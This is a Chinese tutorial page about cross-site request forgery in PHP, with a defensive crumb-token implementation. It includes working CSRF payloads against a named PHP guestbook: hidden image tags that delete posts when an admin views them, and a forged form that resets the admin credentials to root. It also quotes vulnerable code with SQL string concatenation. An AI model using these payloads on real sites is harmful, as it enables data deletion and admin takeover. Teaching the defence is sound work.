首頁 > 開發者 > PHP

php漏洞之跨網站偽造要求與防止偽造方法

來源：互聯網
上載者：User
創建阿里雲帳戶，並獲得超過 40 款產品的免費試用版；而企業帳戶則可以享有總值 $1200 的免費試用版。立即註冊！


偽造跨站請求介紹

偽造跨站請求比較難以防範，而且危害巨大，攻擊者可以通過這種方式惡作劇，發spam資訊，刪除資料等等。這種攻擊常見的表現形式有：
　　偽造連結，引誘使用者點擊，或是讓使用者在不知情的情況下訪問
　　偽造表單，引誘使用者提交。表單可以是隱藏的，用圖片或連結的形式偽裝。
　　比較常見而且也很廉價的防範手段是在所有可能涉及使用者寫操作的表單中加入一個隨機且變換頻繁的字串，然後在處理表單的時候對這個字串進行檢查。這個隨機字串如果和目前使用者身份相關聯的話，那麼攻擊者偽造請求會比較麻煩。


如果攻擊者以隱藏的方式發送給目標使用者連結
<img src="/buy.php?item=watch&num=1000"/>，那麼如果目標使用者不小心訪問以後，購買的數量就成了1000個

執行個體
隨緣網路PHP留言板V1.0

 代碼如下 複製代碼
任意刪除留言
//delbook.php 此頁面用於刪除留言
<?php
include_once("dlyz.php");    //dlyz.php使用者驗證許可權，當許可權是admin的時候方可刪除留言
include_once("../conn.php");
$del=$_GET["del"];
$id=$_GET["id"];
if ($del=="data")
{
$ID_Dele= implode(",",$_POST['adid']);
$sql="delete from book where id in (".$ID_Dele.")";
mysql_query($sql);
}
else
{
$sql="delete from book where id=".$id; //傳遞要刪除的留言ID
mysql_query($sql);
}
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert('刪除成功！');";
echo " location='book.php';";
echo "</script>";
?>


當我們具有admin許可權，提交http://localhost/manage/delbook.php?id=2 時，就會刪除id為2的留言
利用方法:
我們使用普通使用者留言（原始碼方式），內容為

 代碼如下 複製代碼

<img src="delbook.php?id=2" />

<img src="delbook.php?id=3" />

<img src="delbook.php?id=4" />

<img src="delbook.php?id=5" />

插入4張圖片連結分別刪除4個id留言，然後我們返回首頁瀏覽看，沒有什麼變化。。圖片顯示不了
現在我們再用管理員帳號登陸後，來重新整理首頁，會發現留言就剩一條，其他在圖片連結中指定的ID號的留言，全部都被刪除。
攻擊者在留言中插入隱藏的圖片連結，此連結具有刪除留言的作用，而攻擊者自己訪問這些圖片連結的時候，是不具有許可權的，所以看不到任何效果，但是當管理員登陸後，查看此留言，就會執行隱藏的連結，而他的許可權又是足夠大的，從而這些留言就被刪除了
修改管理員密碼

 代碼如下 複製代碼
//pass.php
if($_GET["act"])
{
$username=$_POST["username"];
$sh=$_POST["sh"];
$gg=$_POST["gg"];
$title=$_POST["title"];
$copyright=$_POST["copyright"]."<br/>設計製作：<a href=http://www.115cn.cn>廈門隨緣網路科技</a>";
$password=md5($_POST["password"]);
if(empty($_POST["password"]))
{
$sql="update gly set username='".$username."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
else
{
$sql="update gly set username='".$username."',password='".$password."',sh=".$sh.",gg='".$gg."',title='".$title."',copyright='".$copyright."' where id=1";
}
mysql_query($sql);
mysql_close($conn);
echo "<script language='javascript'>";
echo "alert('修改成功！');";
echo " location='pass.php';";
echo "</script>";
}
這個檔案用於修改管理密碼和網站設定的一些資訊，我們可以直接構造如下表單:
<body>
<form action="http://localhost/manage/pass.php?act=xg" method="post" name="form1" id="form1">
<input type="radio" value="1"  name="sh">
<input type="radio" name="sh" checked value="0">
<input type="text" name="username" value="root">
<input type="password" name="password" value="root">
<input type="text"  name="title"  value="隨緣網路PHP留言板V1.0(帶審核功能)" >
<textarea  name="gg"  rows="6" cols="80" >歡迎您安裝使用隨緣網路PHP留言板V1.0(帶審核功能)！</textarea>
<textarea  name="copyright"  rows="6" cols="80" >隨緣網路PHP留言本V1.0  著作權：廈門隨緣網路科技 2005-2009<br/>承接網站建設及系統定製 提供優惠主機網域名稱</textarea>
</form>
</body>


存為attack.html，放到自己網站上http://www.111cn.net此頁面訪問後會自動向目標程式的pass.php提交參數，使用者名稱修改為root，密碼修改為root，然後我們去留言板發一條留言，隱藏這個連結，管理訪問以後，他的使用者名稱和密碼全部修改成了root

 

防止偽造跨站請求


yahoo對付偽造跨站請求的辦法是在表單裡加入一個叫.crumb的隨機串;而facebook也有類似的解決辦法，它的表單裡常常會有post_form_id和fb_dtsg。

 

隨機串代碼實現

咱們按照這個思路，山寨一個crumb的實現，代碼如下：

 代碼如下 複製代碼
<?php
class Crumb {
CONST SALT = "your-secret-salt";
static $ttl = 7200;
static public function challenge($data) {
return hash_hmac('md5', $data, self::SALT);
}
static public function issueCrumb($uid, $action = -1) {
$i = ceil(time() / self::$ttl);
return substr(self::challenge($i . $action . $uid), -12, 10);
}
static public function verifyCrumb($uid, $crumb, $action = -1) {
$i = ceil(time() / self::$ttl);
if(substr(self::challenge($i . $action . $uid), -12, 10) == $crumb ||
substr(self::challenge(($i - 1) . $action . $uid), -12, 10) == $crumb)
return true;
return false;
}
}

代碼中的$uid表示使用者唯一標識，而$ttl表示這個隨機串的有效時間。
　　應用樣本
　　構造表單
　　在表單中插入一個隱藏的隨機串crumb

 代碼如下 複製代碼


<form method="post" action="demo.php">
<input type="hidden" name="crumb" value="<?php echo Crumb::issueCrumb($uid)?>">
<input type="text" name="content">
<input type="submit">
</form>

處理表單 demo.php
　　對crumb進行檢查

 

 代碼如下 複製代碼

<?php
if(Crumb::verifyCrumb($uid, $_POST['crumb'])) {
//按照正常流程處理表單
} else {
//crumb校正失敗，錯誤提示流程
}
?>

本文章原先以中文撰寫並發佈於 aliyun.com，亦設英文版本，僅作資訊用途。本網站不對文章的準確性，完整性或可靠性或其任何翻譯作出任何明示或暗示的陳述或保證。如對該文章有任何疑慮或投訴，請傳送電郵至 info-contact@alibabacloud.com 並提供相關疑慮或投訴的詳細說明。職員會於 5 個工作天內與您聯絡，一經驗證之後，即會刪除該侵權內容。

相關關鍵詞：
php php php php php php id php php include php file php index php id php ini php php install php
相關文章
監控伺服器swap並重啟php的Shell指令碼_linux shell
PHP(5)“最長公用首碼”演算法問題
30個很棒的PHP開源CMS內容管理系統
php調用dll經驗小結
PHP匯入匯出Excel方法
PHP 擷取當前url的函數及參數

聯繫我們

該頁面正文內容均來源於網絡整理，並不代表阿里雲官方的觀點，該頁面所提到的產品和服務也與阿里云無關，如果該頁面內容對您造成了困擾，歡迎寫郵件給我們，收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容，歡迎發送郵件至： info-contact@alibabacloud.com 進行舉報並提供相關證據，工作人員會在 5 個工作天內聯絡您，一經查實，本站將立刻刪除涉嫌侵權內容。

熱門內容

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

Get Started for Free

  • Sales Support

    1 on 1 presale consultation

    Chat Contact Sales

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    Open a Ticket

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.

    Learn More